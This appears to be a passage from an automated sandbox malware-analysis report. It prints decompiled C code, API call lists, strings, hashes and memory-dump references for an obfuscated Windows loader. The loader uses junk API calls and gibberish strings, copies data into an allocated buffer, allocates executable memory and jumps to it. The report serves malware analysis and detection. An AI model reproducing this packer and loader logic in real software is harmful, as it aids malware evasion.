Opcode Fuzzy Hash: 38df6c179935bd1fa76154077a3d4bc785299ac66b0c3571c0bfb3908043a63b
Instruction Fuzzy Hash: 3CD0A7325943459EDB009FB5BD0DB623BDCD384395F04C436F91DCA290F579D940CA08

Uniqueness

Uniqueness Score: -1.00%

Function 004090E1 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090E1() {
				void* _t1;

				_t1 = E0040906F(0); // executed
				return _t1;
			}

0x004090e3
0x004090e9

APIs

__encode_pointer.LIBCMT ref: 004090E3

Part of subcall function 0040906F: TlsGetValue.KERNEL32(00000000,?,004090E8,00000000,0040D6C0,004A7CC8,00000000,00000314,?,00408984,004A7CC8,Microsoft Visual C++ Runtime Library,00012010), ref: 00409081
Part of subcall function 0040906F: TlsGetValue.KERNEL32(00000005,?,004090E8,00000000,0040D6C0,004A7CC8,00000000,00000314,?,00408984,004A7CC8,Microsoft Visual C++ Runtime Library,00012010), ref: 00409098
Part of subcall function 0040906F: RtlEncodePointer.NTDLL(00000000,?,004090E8,00000000,0040D6C0,004A7CC8,00000000,00000314,?,00408984,004A7CC8,Microsoft Visual C++ Runtime Library,00012010), ref: 004090D6

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 9786210163ad4483c0a19228d0951d229a32f2fe618db9620de7aae7b9d0445c
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 024A5485 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 024A54D6

Memory Dump Source

Source File: 00000005.00000002.442702951.00000000024A5000.00000040.00000020.00020000.00000000.sdmp, Offset: 024A5000, based on PE: false

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d36a2a82d078ef23cf98d7f4d8c48804785162829e55a8ee28b2d5da9ce181c6
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 93113C79A00208EFDB01DF99CA85E99BFF5AF08350F458095F9489B361D371EA90DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00403790 Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403790() {
				void* _t2;

				_t2 = LocalAlloc(0,  *0x6e3f64); // executed
				 *0x6e3ed4 = _t2;
				return _t2;
			}

0x00403798
0x0040379e
0x004037a3

APIs

LocalAlloc.KERNELBASE(00000000,?), ref: 00403798

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: dc271960cae1dd69054c01557380a8e461af0531f52857e573b8e45fc6f1c3f1
Instruction ID: 0f9a544b7f7fa970ad12a0ad52ea7b6804f577f69a168373fc5736b5aa81cfcf
Opcode Fuzzy Hash: dc271960cae1dd69054c01557380a8e461af0531f52857e573b8e45fc6f1c3f1
Instruction Fuzzy Hash: C3B012B06153909FD7009F64EE8CB107775F348302F001011F940CB374DB7009008F11

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00403870 Relevance: 96.6, APIs: 38, Strings: 17, Instructions: 392
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00403870(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a108, intOrPtr _a112, char _a116, intOrPtr _a120, long _a124, struct _CONSOLE_CURSOR_INFO _a128, struct _DCB _a140, struct _OSVERSIONINFOW _a176, char _a432, short _a472, void _a2484, char _a3504) {
				short _v0;
				short _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				short _t305;
				short _t306;
				intOrPtr* _t468;
				void* _t473;
				intOrPtr* _t474;
				void* _t483;

				E0040EBC0(0x11dc);
				if( *0x6e3f64 == 0xac) {
					GetStringTypeExA(0, 0, "renenivucivefukuvemosudexiyozim", 0,  &_v0);
					__imp__FindFirstVolumeMountPointW(L"gesorakocinobinuruyamikufiw",  &_a472, 0);
					GetPrivateProfileIntA("jasozarinirazawiveyiy xupoyihelituwowakewezoyu gayasugudemexobahetoyesovunadub xesepalopuv", "fevadixifahazikiletidikowavative hiferof hadafotahufowojunazo", 0, "fucuwematahafenibezujulokoc yuyarahim");
					WaitForSingleObject(0, 0);
					E004046E4( &_a116);
					E004047C2( &_a116);
					L004046CB();
					_push(0);
					E00404A75();
					E00404A46(0);
					E00404A5C(0, 0);
					_t483 = _t483 + 0x10;
				}
				 *0x6e3f64 =  *0x6e3f64 + 0x11b1b;
				E00403790();
				E004037B0();
				_t305 = 0;
				_v0 = 0;
				if( *0x6e3f64 <= 0) {
					L7:
					_t306 = 0;
					_v0 = 0;
					do {
						if( *0x6e3f64 + _t306 == 0xe) {
							MapGenericMask(0, 0);
							DebugBreak();
							FreeConsole();
							_v0(0);
							FreeConsole();
							InterlockedExchangeAdd( &_a124, 0);
							WaitForMultipleObjectsEx(0, 0, 0, 0, 0);
							_t306 = _v4;
						}
						_t306 = _t306 + 1;
						_v0 = _t306;
					} while (_t306 < 0x4fe229);
					_t473 = 0x4cc;
					do {
						GetCharWidthW(0, 0, 0, 0);
						GetCharABCWidthsFloatW(0, 0, 0, 0);
						_t473 = _t473 - 1;
					} while (_t473 != 0);
					while(1) {
						GetLastError();
						if(_t473 < 0x3b9f945) {
							_a20 = 0x3ae40fea;
							_a72 = 0x4da9f927;
							_v0 = 0x76dbcd96;
							_a64 = 0x5c01b59;
							_a52 = 0x69b972f0;
							_a8 = 0x6315b1bc;
							_a16 = 0x268efdf3;
							_a76 = 0x758aab55;
							_a56 = 0x293c9e6e;
							_a48 = 0x7d25b6d7;
							_a40 = 0x49f78072;
							_a4 = 0x411e99f8;
							_v4 = 0x58c56864;
							_a108 = 0x3a5c90d5;
							_a12 = 0x55787069;
							_a116 = 0x61b5b59f;
							_a96 = 0x739d0620;
							_a36 = 0x3eef0288;
							_a92 = 0x49cdaba2;
							_a88 = 0x1f200a15;
							_v12 = 0x6ab47c1e;
							_a60 = 0x60bcbe35;
							_v20 = 0x2247b61f;
							_a68 = 0xb7d6359;
							_a112 = 0xa8bb680;
							_a28 = 0x5f860f6d;
							_a44 = 0x1f006e87;
							_a80 = 0x344135c6;
							_v16 = 0x6da7e3e1;
							_v32 = 0x479039f5;
							_a84 = 0x9fa3415;
							_v8 = 0x7c643086;
							_v24 = 0x2694f336;
							_v28 = 0x6cb4a5e8;
							_a32 = 0x2d3a3b6a;
							_a120 = 0x4b4207e4;
							_a24 = 0x6a30f715;
							_a124 = 0x40a7a320;
							_a20 = _a20 - 0x3d2cd01f;
							_a20 = _a20 - 0x1a8468ec;
							_a72 = _a72 - 0x35b81e1b;
							_v0 = _v0 - 0x1f2956f1;
							_a72 = _a72 + 0x10bd938a;
							_a72 = _a72 + 0x387b6b7d;
							_a64 = _a64 + 0x55e9422f;
							_a20 = _a20 + 0x2f9fc9;
							_a64 = _a64 + 0x685f757d;
							_v0 = _v0 + 0x18684b6a;
							_v4 = _v4 + 0xc792e25;
							_a12 = _a12 - 0x71c2a565;
							_a40 = _a40 + 0x41d3e078;
							_v0 = _v0 + 0x6066dbc4;
							_a12 = _a12 - 0x1195370a;
							_a40 = _a40 + 0x50570176;
							_v0 = _v0 - 0x2bd3ed46;
							_a92 = _a92 + 0x392008dc;
							_a116 = _a116 - 0x5754d300;
							_a60 = _a60 - 0x2ce43c9b;
							_v4 = _v4 - 0x30721d20;
							_a36 = _a36 - 0x2ccd0822;
							_v20 = _v20 + 0x41048ed8;
							_a96 = _a96 - 0xc569312;
							_a60 = _a60 + 0x47dd74a5;
							_a8 = _a8 - 0x28076cb2;
							_a76 = _a76 - 0x436d683b;
							_a96 = _a96 + 0x6106b7c4;
							_v0 = _v0 - 0x41aae26e;
							_a12 = _a12 - 0x5ce84155;
							_a36 = _a36 + 0x2234c681;
							_a64 = _a64 - 0x290d37f4;
							_v16 = _v16 - 0x2476c0e6;
							_a12 = _a12 - 0xfb5be67;
							_v16 = _v16 + 0x69bdf9d;
							_v28 = _v28 - 0x1cf7abbe;
							_a4 = _a4 + 0xbea7d89;
							_a60 = _a60 + 0x7a5b1c5b;
							_a88 = _a88 - 0x18c76000;
							_a76 = _a76 + 0x46a1d242;
						}
						if(_t473 > 0xbeedf1) {
							break;
						}
						_t473 = _t473 + 1;
						if(_t473 < 0x81043) {
							continue;
						}
						break;
					}
					E00403660();
					E00403770();
					_t474 = __imp__ReplaceFileA;
					_v32 = 0x7b;
					do {
						if( *0x6e3f64 == 0x86) {
							 *_t474(0, 0, 0, 0, 0, 0);
							WritePrivateProfileStringW(0, 0, 0, 0);
						}
						if( *0x6e3f64 == 0xf) {
							lstrcmpiW(0, 0);
							CreateEventW(0, 0, 0, 0);
						}
						_t292 =  &_v32;
						 *_t292 = _v32 - 1;
					} while ( *_t292 != 0);
					_t468 = __imp__CreateActCtxA;
					_v32 = 0x3078f;
					do {
						if( *0x6e3f64 == 0x83) {
							MulDiv(0, 0, 0);
							 *_t468( &_a128);
							GetFileAttributesExW(0, 0,  &_a2484);
							GetLogicalDriveStringsA(0,  &_a3504);
							__imp__GetLongPathNameA(0,  &_a432, 0);
							WritePrivateProfileStructW(0, 0, 0, 0, 0);
							IsBadReadPtr(0, 0);
							CancelWaitableTimer(0);
							GetFileType(0);
							GetModuleHandleA(0);
						}
						_t299 =  &_v32;
						 *_t299 = _v32 - 1;
					} while ( *_t299 != 0);
					E004033B0();
					 *0x6e3f58 =  *0x6e3ed4;
					goto __eax;
				} else {
					do {
						 *((char*)( *0x6e3ed4 + _t305)) =  *((intOrPtr*)( *0x6ea6c0 + _t305 + 0x11b1b));
						if( *0x6e3f64 == 0xa8) {
							GetConsoleCursorInfo(0,  &_a128);
							GetModuleFileNameW(0,  &_a472, 0);
							EnumFontsW(0, L"hagayaxewewagucizinahegej", 0, 0);
							GetVersionExW( &_a176);
							__imp__GetConsoleAliasesLengthA(0);
							SleepEx(0, 0);
							CreateFileMappingW(0, 0, 0, 0, 0, 0);
							CreateMutexA(0, 0, "wilofusasonamapofedahu");
							GetCommState(0,  &_a140);
							FreeConsole();
							_t305 = _v20;
						}
						_t305 = _t305 + 1;
						_v0 = _t305;
					} while (_t305 <  *0x6e3f64);
					goto L7;
				}
			}

0x00403875
0x00403888
0x0040389e
0x004038b3
0x004038ca
0x004038d4
0x004038e1
0x004038ed
0x004038f2
0x004038f7
0x004038f9
0x00403903
0x0040390f
0x00403914
0x00403914
0x00403917
0x00403921
0x00403926
0x00403931
0x00403933
0x0040393d
0x00403a11
0x00403a23
0x00403a25
0x00403a29
0x00403a34
0x00403a3a
0x00403a3c
0x00403a3e
0x00403a42
0x00403a44
0x00403a50
0x00403a60
0x00403a66
0x00403a66
0x00403a6a
0x00403a70
0x00403a70
0x00403a82
0x00403a87
0x00403a8f
0x00403a99
0x00403a9b
0x00403a9b
0x00403aa6
0x00403aa6
0x00403aae
0x00403ab4
0x00403abc
0x00403ac4
0x00403acc
0x00403ad4
0x00403adc
0x00403ae4
0x00403aec
0x00403af4
0x00403afc
0x00403b04
0x00403b0c
0x00403b14
0x00403b1c
0x00403b27
0x00403b2f
0x00403b3a
0x00403b45
0x00403b4d
0x00403b58
0x00403b63
0x00403b6b
0x00403b73
0x00403b7b
0x00403b83
0x00403b8e
0x00403b96
0x00403b9e
0x00403ba9
0x00403bb1
0x00403bb9
0x00403bc4
0x00403bcc
0x00403bd4
0x00403bdc
0x00403be4
0x00403bef
0x00403bf7
0x00403c02
0x00403c24
0x00403c2c
0x00403c41
0x00403c63
0x00403c6b
0x00403c73
0x00403c7b
0x00403c83
0x00403c98
0x00403ca0
0x00403ca8
0x00403cbd
0x00403cd2
0x00403ce7
0x00403cfc
0x00403d04
0x00403d0c
0x00403d17
0x00403d22
0x00403d2a
0x00403d32
0x00403d3a
0x00403d42
0x00403d4d
0x00403d75
0x00403daa
0x00403db2
0x00403dd7
0x00403dec
0x00403df4
0x00403e1c
0x00403e24
0x00403e2c
0x00403e34
0x00403e3c
0x00403e57
0x00403e6c
0x00403e74
0x00403e7f
0x00403e7f
0x00403e8d
0x00000000
0x00000000
0x00403e8f
0x00403e96
0x00000000
0x00000000
0x00000000
0x00403e96
0x00403e9c
0x00403ea1
0x00403ea6
0x00403ebe
0x00403ed0
0x00403eda
0x00403ee8
0x00403ef2
0x00403ef2
0x00403efb
0x00403f01
0x00403f0b
0x00403f0b
0x00403f0d
0x00403f0d
0x00403f0d
0x00403f1a
0x00403f2c
0x00403f34
0x00403f3e
0x00403f46
0x00403f50
0x00403f5e
0x00403f6a
0x00403f78
0x00403f88
0x00403f92
0x00403f9a
0x00403fa2
0x00403faa
0x00403faa
0x00403fb0
0x00403fb0
0x00403fb0
0x00403fbb
0x00403fc5
0x00403fd4
0x00403943
0x00403960
0x00403973
0x00403980
0x0040398c
0x0040399a
0x004039a7
0x004039b1
0x004039b9
0x004039c3
0x004039d5
0x004039e4
0x004039f4
0x004039fa
0x004039fc
0x004039fc
0x00403a00
0x00403a01
0x00403a05
0x00000000
0x00403960

APIs

GetStringTypeExA.KERNEL32(00000000,00000000,renenivucivefukuvemosudexiyozim,00000000,?), ref: 0040389E
FindFirstVolumeMountPointW.KERNEL32(gesorakocinobinuruyamikufiw,?,00000000), ref: 004038B3
GetPrivateProfileIntA.KERNEL32 ref: 004038CA
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004038D4

Part of subcall function 00404A46: __wcstoi64.LIBCMT ref: 00404A52

Part of subcall function 00404A5C: __wcstoi64_l.LIBCMT ref: 00404A6B

GetConsoleCursorInfo.KERNEL32(00000000,?), ref: 0040398C
GetModuleFileNameW.KERNEL32(00000000,?,00000000), ref: 0040399A
EnumFontsW.GDI32(00000000,hagayaxewewagucizinahegej,00000000,00000000), ref: 004039A7
GetVersionExW.KERNEL32(?), ref: 004039B1
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 004039B9
SleepEx.KERNEL32(00000000,00000000), ref: 004039C3
CreateFileMappingW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004039D5
CreateMutexA.KERNEL32(00000000,00000000,wilofusasonamapofedahu), ref: 004039E4
GetCommState.KERNEL32(00000000,?), ref: 004039F4
FreeConsole.KERNEL32 ref: 004039FA
MapGenericMask.ADVAPI32(00000000,00000000), ref: 00403A3A
DebugBreak.KERNEL32 ref: 00403A3C
FreeConsole.KERNEL32 ref: 00403A3E
AttachConsole.KERNEL32(00000000), ref: 00403A42
FreeConsole.KERNEL32 ref: 00403A44
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00403A50
WaitForMultipleObjectsEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00403A60

Strings

;hmC, xrefs: 00403DAA
gesorakocinobinuruyamikufiw, xrefs: 004038AE
)O, xrefs: 00403A6B
fucuwematahafenibezujulokoc yuyarahim, xrefs: 004038B9
TDu, xrefs: 00403CDA
hagayaxewewagucizinahegej, xrefs: 004039A0
jasozarinirazawiveyiy xupoyihelituwowakewezoyu gayasugudemexobahetoyesovunadub xesepalopuv, xrefs: 004038C5
>P, xrefs: 00403CC5
{, xrefs: 00403EBE
{*,, xrefs: 00403C34
}u_h, xrefs: 00403C83
renenivucivefukuvemosudexiyozim, xrefs: 00403895
fevadixifahazikiletidikowavative hiferof hadafotahufowojunazo, xrefs: 004038C0
}k{8, xrefs: 00403C6B
wilofusasonamapofedahu, xrefs: 004039DB
j;:-, xrefs: 00403BDC
UA\, xrefs: 00403DEC

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Console$Free$CreateFileWait$AliasesAttachBreakCommCursorDebugEnumExchangeFindFirstFontsGenericInfoInterlockedLengthMappingMaskModuleMountMultipleMutexNameObjectObjectsPointPrivateProfileSingleSleepStateStringTypeVersionVolume__wcstoi64__wcstoi64_l
String ID: )O$;hmC$>P$TDu$UA\$fevadixifahazikiletidikowavative hiferof hadafotahufowojunazo$fucuwematahafenibezujulokoc yuyarahim$gesorakocinobinuruyamikufiw$hagayaxewewagucizinahegej$j;:-$jasozarinirazawiveyiy xupoyihelituwowakewezoyu gayasugudemexobahetoyesovunadub xesepalopuv$renenivucivefukuvemosudexiyozim$wilofusasonamapofedahu${${*,$}k{8$}u_h
API String ID: 3618697742-3763550029
Opcode ID: 7be918e9be1e76c9876d67f158e54ac8a1d424b4dfd76ac3b146b1a80ee05659
Instruction ID: 9b3084d4715364e8af846f39a09eb6d0478871b4e20b41a91a5de6c499fe1c62
Opcode Fuzzy Hash: 7be918e9be1e76c9876d67f158e54ac8a1d424b4dfd76ac3b146b1a80ee05659
Instruction Fuzzy Hash: E502A9756083809FD360DF65D98AB4ABBF4FB84705F10482DF6996B2A0C7B49984CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 00403FE0 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 254COMMON

Download Yara Rule

APIs

_hwrite.KERNEL32(00000000,00000000,00000000), ref: 0040444C
FindAtomW.KERNEL32(00000000), ref: 00404453
GetStdHandle.KERNEL32(00000000), ref: 0040445A
_calloc.LIBCMT ref: 00404482

Part of subcall function 00404A06: __calloc_impl.LIBCMT ref: 00404A1B

_calloc.LIBCMT ref: 00404489

Part of subcall function 00404A80: __indefinite.LIBCMT ref: 00406887

__floor_pentium4.LIBCMT ref: 004044C4
_fputwc.LIBCMT ref: 004044CD

Part of subcall function 00404C4D: _malloc.LIBCMT ref: 00404C67

CharLowerBuffA.USER32(?,00000000,313180DD,3802937C,2322E823,2322E823,151A9CB0,58FE3BFC,3B78AB07,1190BBCD,5370C228,5204C22F,46857BF5,1ADEE1C7,5FA5E152,65B098C1), ref: 00404561
GetModuleHandleA.KERNEL32(kernel32.dll,313180DD,3802937C,2322E823,2322E823,151A9CB0,58FE3BFC,3B78AB07,1190BBCD,5370C228,5204C22F,46857BF5,1ADEE1C7,5FA5E152,65B098C1,786D3085), ref: 00404576

Strings

#"#, xrefs: 0040415E
K[, xrefs: 00404427
T#0y, xrefs: 004040C8
kernel32.dll, xrefs: 00404571
.d|1, xrefs: 004041CD

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Handle_calloc$AtomBuffCharFindLowerModule__calloc_impl__floor_pentium4__indefinite_fputwc_hwrite_malloc
String ID: #"#$.d|1$K[$T#0y$kernel32.dll
API String ID: 2239919688-4135033301
Opcode ID: 766b8303d413a9e4e6665915748f65ec88daac1c281912021cbc9db7cf75ad51
Instruction ID: ffd760b089109a237b572b8ee1cb53dfd07de083de27f389f65d3eb3fdbeadd4
Opcode Fuzzy Hash: 766b8303d413a9e4e6665915748f65ec88daac1c281912021cbc9db7cf75ad51
Instruction Fuzzy Hash: 95D11CB5608380CFD3609F2AD985B8BFBE4BF85714F10891DE69A8B661D7348884CF57

Uniqueness

Uniqueness Score: -1.00%

Function 0040533B Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040533B(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x4a6280; // 0x5acc40e3
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x4a8210 = _t6;
				 *0x4a820c = _t22;
				 *0x4a8208 = _t25;
				 *0x4a8204 = _t21;
				 *0x4a8200 = _t27;
				 *0x4a81fc = _t26;
				 *0x4a8228 = ss;
				 *0x4a821c = cs;
				 *0x4a81f8 = ds;
				 *0x4a81f4 = es;
				 *0x4a81f0 = fs;
				 *0x4a81ec = gs;
				asm("pushfd");
				_pop( *0x4a8220);
				 *0x4a8214 =  *_t31;
				 *0x4a8218 = _v0;
				 *0x4a8224 =  &_a4;
				 *0x4a8160 = 0x10001;
				_t11 =  *0x4a8218; // 0x0
				 *0x4a8114 = _t11;
				 *0x4a8108 = 0xc0000409;
				 *0x4a810c = 1;
				_t12 =  *0x4a6280; // 0x5acc40e3
				_v812 = _t12;
				_t13 =  *0x4a6284; // 0xa533bf1c
				_v808 = _t13;
				 *0x4a8158 = IsDebuggerPresent();
				_push(1);
				E00409A62(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x401aec);
				if( *0x4a8158 == 0) {
					_push(1);
					E00409A62(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040533b
0x0040533b
0x0040533b
0x0040533b
0x0040533b
0x0040533b
0x0040533b
0x00405341
0x00405343
0x00405343
0x004097c7
0x004097cc
0x004097d2
0x004097d8
0x004097de
0x004097e4
0x004097ea
0x004097f1
0x004097f8
0x004097ff
0x00409806
0x0040980d
0x00409814
0x00409815
0x0040981e
0x00409826
0x0040982e
0x00409839
0x00409843
0x00409848
0x0040984d
0x00409857
0x00409861
0x00409866
0x0040986c
0x00409871
0x0040987d
0x00409882
0x00409884
0x0040988c
0x00409897
0x004098a4
0x004098a6
0x004098a8
0x004098ad
0x004098c1

APIs

IsDebuggerPresent.KERNEL32 ref: 00409877
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040988C
UnhandledExceptionFilter.KERNEL32(00401AEC), ref: 00409897
GetCurrentProcess.KERNEL32(C0000409), ref: 004098B3
TerminateProcess.KERNEL32(00000000), ref: 004098BA

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: ae81cc04aa1ab9c90b69ff16020b16508239cdc314e3737f3083819f6c220bfd
Instruction ID: 18cb836fff47758b732a619b32c29b4fa5bd9aeb8c66a2f5654c03d54c31932b
Opcode Fuzzy Hash: ae81cc04aa1ab9c90b69ff16020b16508239cdc314e3737f3083819f6c220bfd
Instruction Fuzzy Hash: 7121DCBA901205CBD740DF69ED857643FB4FB0A304F1080BEE818967B1EBB459828F4D

Uniqueness

Uniqueness Score: -1.00%

Function 004084CF Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004084CF() {

				SetUnhandledExceptionFilter(E0040848D);
				return 0;
			}

0x004084d4
0x004084dc

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000848D), ref: 004084D4

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6f04be37edccb9c73464df98e5f1b3db6cbafd6d01814fe41fcf8fdf35cffb6f
Instruction ID: d0b837e2db365d5c5ce4375092b20700385d67de4693b74d46e8cf132d3f005c
Opcode Fuzzy Hash: 6f04be37edccb9c73464df98e5f1b3db6cbafd6d01814fe41fcf8fdf35cffb6f
Instruction Fuzzy Hash: 619002A065214686C7001BB06E0A64925A05A48712B56847A6495E5CE4FE7440846529

Uniqueness

Uniqueness Score: -1.00%

Function 024A671C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.442702951.00000000024A5000.00000040.00000020.00020000.00000000.sdmp, Offset: 024A5000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: b669b28b5d359d6bf4282e937ca61d010948ea21f3b324a1bd282293a72f34fc
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: B83158798162819FDF15CE70D8A0AB6BB74EF57224F1E959EC0858B106D325504BCB94

Uniqueness

Uniqueness Score: -1.00%

Function 00403957 Relevance: 80.8, APIs: 34, Strings: 12, Instructions: 339
filestringsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00403957(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a124, intOrPtr _a128, intOrPtr _a132, intOrPtr _a136, long _a140, struct _CONSOLE_CURSOR_INFO _a144, struct _DCB _a156, struct _OSVERSIONINFOW _a192, char _a448, short _a488, void _a2500, char _a3520) {
				char _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _t296;
				intOrPtr _t297;
				intOrPtr _t298;
				intOrPtr* _t444;
				void* _t446;
				intOrPtr* _t447;

				do {
					 *((char*)( *0x6e3ed4 + _t296)) =  *((intOrPtr*)( *0x6ea6c0 + _t296 + 0x11b1b));
					if( *0x6e3f64 == 0xa8) {
						GetConsoleCursorInfo(0,  &_a144);
						GetModuleFileNameW(0,  &_a488, 0);
						EnumFontsW(0, L"hagayaxewewagucizinahegej", 0, 0);
						GetVersionExW( &_a192);
						__imp__GetConsoleAliasesLengthA(0);
						SleepEx(0, 0);
						CreateFileMappingW(0, 0, 0, 0, 0, 0);
						CreateMutexA(0, 0, "wilofusasonamapofedahu");
						GetCommState(0,  &_a156);
						FreeConsole();
						_t296 = _v4;
					}
					_t297 = _t296 + 1;
					_a16 = _t297;
				} while (_t297 <  *0x6e3f64);
				_t298 = 0;
				_a16 = 0;
				do {
					if( *0x6e3f64 + _t298 == 0xe) {
						MapGenericMask(0, 0);
						DebugBreak();
						FreeConsole();
						_v0(0);
						FreeConsole();
						InterlockedExchangeAdd( &_a140, 0);
						WaitForMultipleObjectsEx(0, 0, 0, 0, 0);
						_t298 = _a12;
					}
					_t298 = _t298 + 1;
					_a16 = _t298;
				} while (_t298 < 0x4fe229);
